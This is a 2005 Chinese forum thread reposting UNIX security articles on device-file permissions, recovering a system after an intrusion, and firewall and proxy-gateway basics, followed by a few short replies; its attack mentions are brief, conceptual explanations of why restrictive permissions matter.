 楼主| 发表于 2005-4-30 19:08:10 | 显示全部楼层
[推荐]设备访问安全
UNIX系统管理-系统安全-设备访问安全
UNIX系统与连在本系统上的各种设备之间的通讯是通过特别文件来实现,就程序而言,磁盘是文件,MODEM是文件,甚至内存也是文件。所有连接到系统上的设备都在/dev目录中有一个文件与其对应。当在这些文件上执行 I/O操作时,由UNIX系统将I/O操作转换成实际设备的动作。例如,文件 /dev/mem是系统的内存,如果cat这个文件,实际上是在终端显示系统的内存。为了安全起见,这个文件对普通用户是不可读的。因为在任一给定时间,内存去可能含有用户登陆口令或者运行程序的口令;或者部分文件的编辑缓冲区,缓冲区可能含有用ed -x命令解密后的文本,以及用户不愿让其他人存取的种种信息。在/dev中的文件通常被称为设备文件,用ls /dev命令可以看看系统中的一些设备。因为设备特殊文件直接访问机器的硬件,需要小心对待设备特殊文件的权限,如果用户中有对UNIX系统比较熟悉的,管理员对这些文件设置不当,可能引起严重的安全问题。要特别注意属于内存和磁盘驱动器的设备特殊文件。这些文件名称如下:
/dev/hda /dev/hda1 /dev/hda2 .....
/dev/hdb /dev/hdb1 /dev/hdb2.....
/dev/sda /dev/sda1 ......
/dev/mem /dev/mem1....
所有这些文件必须是root拥有,它们的权限应该尽可能的缩小,最好是-rw_______.
在任何情况下,都不允许root外的其他用户拥有对这些文件的读写权限,例如一个普通用户掌握了磁盘或者磁盘分区的读、写权限,他就能够在磁盘或者磁盘分区上绕过所有的标准文件和目录的权限设置。因为他可以不管系统在上面建立的目录结构,直接读写硬盘或者其他存储设备,这对系统安全构成了严重的危害,最严重可以导致系统完全崩溃并丢失所有的数据信息。如果用户拥有内存特殊文件的读取权限,也会产生类似的问题,因为这些文件直接映射机器的内存。在一些 UNIX版本中,访问机器内存以及于每个经常结合的内存的另外一种方法是通过/proc目录的内容。虽然可以使用ls /proc命令来列出它的内容,事实上/proc目录和它里面的内容并不实际存在在硬盘上,这一目录和它的内容是由内核动态释放的。很明显,如果用户可以任意修改当前进程的内存去,安全就成了问题。
当然,将设备处理成文件,使得UNIX程序独立于设备,即程序不必一定要了解正使用的设备的任何特性,存取设备也不需要记录长度,块大小,传输速度,网络协议等这样一些信息,所有细节由设备驱动程序去关心考虑,要存取设备,程序只需要打开设备文件,然后作为普通的UNIX文件来使用。从安全的观点来看这样处理很好,因为任何设备上进行的I/O操作只经过了少量的渠道(即设备文件)。用户不能直接存取设备。所以如果正确地设置了磁盘分区的存取许可,用户就只能通过UNIX文件系统存取磁盘。这样文件系统就有内部安全机制(文件许可)。如果磁盘分区设置得不正确,任何用户都能够写一个程序读磁盘分区中的每个文件,做法很简单,读 i节点,然后以磁盘地址表中块号出现的顺序,依次读这些块号指出的存有文件内容的块。故除了root外,决不要使盘分区对任何人可写。因为所有者和文件存取许可方式这样一些信息存放在i节点中,任何人只要具有已安装分区的写许可,就能设置任何文件的SUID许可,而不管文件的所有者是谁,也不必用chmod()命令,还可避过系统建立的安全检查。
以上所述对内存文件mem,kmem和对交换文件swap也是一样。这些文件含有用户信息,一个“耐心”的程序可以将用户信息提取出来。要避免磁盘分区的(以及其它设备)可读可写,应当在建立设备文件前先用umask命令设置文件建立屏蔽值。一般情况下,UNIX系统上的终端对任何人都是可写的,从而使用户可以用write命令发送信息。/dev目录应该是755存取权限,且应该是root所有。不允许root外用户读写磁盘分区的原则有一个例外,即一些程序(通常是数据库系统)要求对磁盘分区直接存取(为了提高效率),解决这个问题的经验是磁盘分区应当由这种程序专用(不安装文件系统),而文件安全保护将由数据库系统自己而不是UNIX文件系统完成。传统的终端允许用户之间使用write命令传递简单的信息,而对于许多终端来说,可以对送入的简单转义字符和命令字符组进行编程,使它们完成简单的操作。其中一种操作是将一些字符从终端返回主机,这个命令就像你自己执行一系列命令一样,假如你现在正在使用 root登陆,就可以想象有什么后果了。唯一防止这类攻击的方法是关闭呼叫器,mesg n。遗憾的是,这同时也禁止了其他用户和你交流信息的请求,安全和使用方便总是不能兼顾的。
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-4-30 19:09:05 | 显示全部楼层
[推荐]被攻击之后怎么办
UNIX系统管理-系统安全-被攻击之后怎么办
系统漏洞是无所不在的,一旦没有及时的修补你的系统,则系统很可能被外来的非法闯入者攻破。在攻破之后应该怎么做呢?
这时系统管理员首先应该做的是面对肇事用户。如果该用户所做的不是蓄意的,而且也没有关于“破坏安全”的规章,未造成损坏,则系统管理员只需要清理系统,并留心该用户一段时间。如果该用户造成了某些损坏,则应当报告有关人士,并且尽可能地将系统恢复到原来的状态。如果肇事者是非授权用户,那就得做最坏的假设了,则肇事者已经设法成为了root,并且本系统的文件和程序已经泄密了。系统管理员应当想法查出谁是肇事者,他造成了什么损坏;还应当对整个文件做一次全面的检查,并不只是检查SUID,SGID和设备文件。如果系统安全被一个敌对的用户破坏了,应当采用下面的步骤:
1. 关闭系统,然后重新引导,不要进入多用户方式,而是进入单用户方式。
2. 安装含有本系统原始UNIX版本的光盘和软盘。
3. 将原始系统的/bin,/usr/bin,/etc,/usr/lib中的文件拷贝到某个暂存目录中。
4. 将暂存目录中所有文件的校验和(用原始版本的sum程序做校验和,不要用/bin中的  sum程序做)与系统中所有对旧的文件的校验和进行比较,如果有任何差别,要查清  差别产生的原因。如果两个校验和不同,是由于安装了新版本的程序,确认一下是否  的确是安装了新版本程序。如果不能找出校验和不同的原因,用暂存目录中的命令替  换系统中原有的命令。
5. 在确认系统的命令未被篡改之前,不要用旧系统中的命令。用暂存目录中的shell,  并且将PATH设置为仅在暂存目录中搜索命令。
6. 根据所有系统目录的存取权限许可,检查系统中所有命令的存取许可。
7. 检查所有系统目录的存取许可,如果用了perms,检查permlist文件是否被篡改过。
8. 如果系统UNIX的校验和不同于原版的校验和,并且系统管理员从未修改过核心,则应  当认为,这个非法用户“很能干”,从暂存缓冲区重新装入系统。系统管理员可以从  逐步增加的文件系统备份中恢复用户的文件,但是在检查备份中“有趣”的内容之前  ,不能做文件恢复。改变系统中的所有口令,通知用户他们的口令已改变,应该找系  统管理员得到新口令。
9. 当用户来要新口令时,告诉用户发生了一次安全事故,他们应查看自己的文件和目录  是否潜伏着危害(如SUID文件,特洛依木马程序或者任何人可写的目录),并报告系  统管理员任何异常的情况。
10. 设法查清安全破坏是如何发生的?如果没有肇事者的说明,这也许不可能弄清的。 如果能发现肇事者如何进入系统,设法堵住这个安全漏洞。第一次安装 UNIX系统时,  可以将shell,sum命令,所有文件的校验和存放在安全的介质上(磁带,软盘,硬盘  和任何可以卸下并封存的介质)。这样可以不必再从原版系统带上重新装入文件,只  安装备份介质,装入shell和sum,将存在带上的校验和与系统中文件的校验和进行比较。
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-4-30 19:09:50 | 显示全部楼层
[推荐]防火墙
UNIX系统管理-系统安全-防火墙
防火墙
什么是防火墙
防火墙是一种用来阻止外面的未经授权的用户的非法访问你的网络下的设备的工具,它通常是软件和硬件的结合体。
为了更好地理解防火墙的工作原理,我们就使用以前提到过的例子来说明.首先,大多数网络身份验证除了用户帐号和口令之外的,就是IP地址,IP地址是INTERNET网络上最普遍的身份索引,它有动态和静态两种。
(1)  动态IP地址指每次强制分配给不同上网机器的主机的地址。ISP提供的拨号服务通常是分配动态IP地址,一个拨号计算机通常每次拨号都有一个不同的IP但是总有一个范围。
(2)  静态IP地址是固定不变的地址,它可以是某台连入Internet的主机地址,静态IP分几类,一类是whois可以查询到的,并且此类IP地址主要是Internet中最高层主机的地址,这些主机可以是域名服务器,httpd服务器(Web Server)、邮件服务器、BBS主机或者网络棋类游戏服务器。另一类静态IP地址被分配给Internet网络中的第二层和第三层的主机,这些机器有固定的物理地址。然而他们不一定有注册的主机名。
当你的计算机同远程主机建立连接的时候,各种对话随之产生,其中最常见的一种是TCP/IP的三次握手方式。对方可以在三次握手的过程中得知你主机的IP地址。
在通常的情况下,即没有防火墙的情况下,本地主机和远程主机之间的对话是直接发生的。信息的传输过程相当复杂,典型的传输过程由下面列出的几部分组成。
1. 数据从网络的某处发出,比如说:从现在所在的局域网中发出。
2. 数据从本地机器传输到子网中的服务器上,再通过这台机器传到本地网络的主服务器上,顺便说一句,由于子网下是采用广播的形式,主机作为路由器对包进行采样分析,并转换成有合法internet IP的包转发出去。所以这一步只通过一个服务器。
3. 网络服务器将数据交给路由器,路由器通过光纤或者其他主干网络高速设备将数据转发上internet.
4. 数据经过internet网络,其间通过许多网关和路由器,最后到达另外网络路由器,并由这个路由器将数据通过以太网发送到相应主机。
如果双方都没有采取任何安全措施,那么二者之间的道路被认为是直接的,例如,路由器2转交源地址为任何IP地址的数据给服务器,最终导致网络的许多不安全因素,但许多年来它一直是一种标准。
防火墙的组成
防火墙可以由软件也可以由硬件构成,当然也可以由软件和硬件混合构成。软件部分可以是专利软件或者共享软件,硬件部分应该是能够支持软件的硬件设备。
如果防火墙是硬件,那么这个硬件最多由一个路由器组成。在路由器中可以采用命令来限制并过滤IP数据包,即允许定义哪些包可以被转发而哪些包丢弃。
代理和网关
代理防火墙或者网关的工作方式与过滤数据包的防火墙和以路由器为基础的防火墙稍有不同。它是基于软件的。当远程用户希望和一个正在运行网关的网络进行连接的时候,此网关就会阻塞这个远程连接,然后对连接的各个域进行检查,如果符合指定的要求,网关便会在远程主机和内部主机之间建立一个“桥”,”桥“是指两种协议之间的转换器。
这种网关代理模型的优点是不进行IP包的转发,更为重要的是可以在”桥“上设置更多的控制,而且这种工具还能提供非常成熟的日志功能。然而所有的这些优点都是通过牺牲速度换取的。因为每次连接请求和所有发往子网内的包都要在网关上进行检查和分析转发等过程,这就要比单纯的从IP地址来过滤转发数据包慢多了。
IP转发(IP forwarding)是指收到外部请求的服务器将此信息直接或者进行合法化转换再发到网络中来,当然,IP转发存在不少的问题和漏洞,但是速度没有什么问题。
网关的另一个不足之处是,必须为每个网络服务创建代理(proxy),为了在内部网络和外部网络之间建立连接需要两个步骤。一些网关需要经过修改的客户端,这即可以看作是进步也可以看作是退步,是进步还是退步主要看修改过的客户端能否方便地使用防火墙。
Telnet网关不一定要修改telnet客户端,但是使用未经修改过的telnet客户端软件却需要用户改变他们的行为:用户不得不直接登录到内部的主机上。但是如果用户使用修改过的Telnet客户端软件,那么用户可以在Telnet命令中直接登录到指定的系统上去,从而使防火墙对用户变得”透明“。此时防火墙就是一个目标系统的路由器了
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-4-30 20:48:51 | 显示全部楼层
呵呵,希望LINUXSIR的兄弟姐妹们能从中受益,哈哈!!!支持大家,
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-5-1 18:29:50 | 显示全部楼层
hehehaha
回复 支持 反对

使用道具 举报

发表于 2005-5-1 20:27:03 | 显示全部楼层
这么长?看来要慢慢看了
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表